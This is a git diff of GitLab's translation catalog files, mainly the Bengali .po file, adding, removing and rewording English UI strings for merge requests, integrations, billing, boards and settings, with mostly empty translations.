msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr "Ще получавате извеÑÑ‚Ð¸Ñ Ñамо за коментаÑ
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/bn_BD/gitlab.po b/locale/bn_BD/gitlab.po
index 8c71e5e67a9..cd53038e86a 100644
--- a/locale/bn_BD/gitlab.po
+++ b/locale/bn_BD/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: bn\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:39\n"
+"PO-Revision-Date: 2021-12-06 18:56\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
